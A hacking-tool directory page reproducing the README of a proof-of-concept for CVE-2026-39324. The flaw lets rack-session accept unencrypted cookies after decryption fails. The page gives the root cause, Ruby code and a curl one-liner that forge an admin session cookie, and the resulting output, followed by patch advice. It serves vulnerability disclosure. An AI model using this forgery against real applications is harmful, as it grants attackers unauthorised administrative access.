Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39324 — Proof-of-concept exploit for Rack::Cookie authentication bypass (CVE-2026-39324), demonstrating session forgery via fallback coder to gain admin access. | Kitploit
Tools/GitHubGitHub/sm1ee/cve-2026-39324
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubsm1ee/cve-2026-39324

CVE-2026-39324

Proof-of-concept exploit for Rack::Cookie authentication bypass (CVE-2026-39324), demonstrating session forgery via fallback coder to gain admin access.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39324 Exploit PoC

Rack::Session::Cookie decrypt failure falls back to accepting unencrypted cookies

AdvisoryGHSA-33qg-7wpp-89cq
Packagerack-session (RubyGems)
Affected<= 2.1.1
Patched2.1.2

Summary

Rack::Session::Cookie with secrets: should only accept encrypted cookies. But when decryption fails, it doesn't reject the cookie — it falls back to the default Base64::Marshal coder.

An attacker can send a plain Base64(Marshal.dump(...)) cookie and the server accepts it as valid session data, without knowing any secret.

Conditions

  • rack-session <= 2.1.1
  • Rack::Session::Cookie with secrets: option
  • App uses session values (user_id, role, etc.) for authorization
  • Attacker can send HTTP requests to the target

Not affected:

  • secret: (singular) — uses HMAC signing, different code path. Only secrets: (plural, encrypted cookie mode) is vulnerable.
  • Rails — uses ActionDispatch::Session::CookieStore, separate implementation.

Root Cause

root@kitploit:~
# lib/rack/session/cookie.rb

# Fallback coder is always created, regardless of secrets: config
@coder = options[:coder] ||= Base64::Marshal.new

# Tries to decrypt — all fail for an unencrypted cookie
encryptors.each do |encryptor|
  session_data = encryptor.decrypt(cookie_data) rescue next
  break
end

# BUG: doesn't reject, falls through to unencrypted coder
if !session_data && coder
  session_data = coder.decode(cookie_data)  # → Marshal.load(Base64.decode64(...))
end

Decrypt failure on the secrets: path should be terminal. Instead it passes the cookie to coder.decode(), so plain cookies get loaded as session data.

Reproduction

root@kitploit:~
poc/
├── Gemfile      rack-session 2.1.1
├── server.rb    Rack app with secrets: config
├── verify.rb    Baseline check (normal behavior)
└── attack.rb    Session forgery (the exploit)

Run

root@kitploit:~
cd poc
bundle install

ruby server.rb &      # start vulnerable server
ruby verify.rb        # confirm normal behavior
ruby attack.rb        # forge cookie → admin access

server.rb

Rack app using secrets: for encrypted cookies. Two users: id=1 (regular), id=2 (admin). Only user_id is stored in session; admin check is a server-side lookup.

verify.rb

Confirms the server works correctly:

RequestExpected
GET /admin (no cookie)403
POST /login?id=1200, encrypted cookie
GET /admin (user id=1 cookie)403

attack.rb

Forges a session cookie without any secret.

1) Forge cookie:

root@kitploit:~
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie  = Base64.strict_encode64(Marshal.dump(payload))

2) Server-side flow when it receives the forged cookie:

root@kitploit:~
encryptor #1 decrypt → HMAC invalid
encryptor #2 decrypt → HMAC invalid
fallback → coder.decode() → Marshal.load → attacker session accepted
→ session["user_id"] = 2 → admin user resolved → 200 OK

Output

root@kitploit:~
$ ruby attack.rb
--- CVE-2026-39324: Session Forgery ---
Target:  http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie:  rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH

Session cookie encryptor error: HMAC is invalid   ← encryptor #1 failed
Session cookie encryptor error: HMAC is invalid   ← encryptor #2 failed, but cookie not rejected
Status: 200
Body:   {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}

[!] VULNERABLE — forged user_id=2 accepted, admin access granted.

Both HMAC checks fail, but the cookie isn't rejected — the fallback coder accepts it and the attacker gets admin.

curl

root@kitploit:~
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH

curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'

Mitigation

  1. Update rack-session to >= 2.1.2
  2. Rotate session secrets after updating — forged sessions may have been accepted and re-issued before patching
Download Tool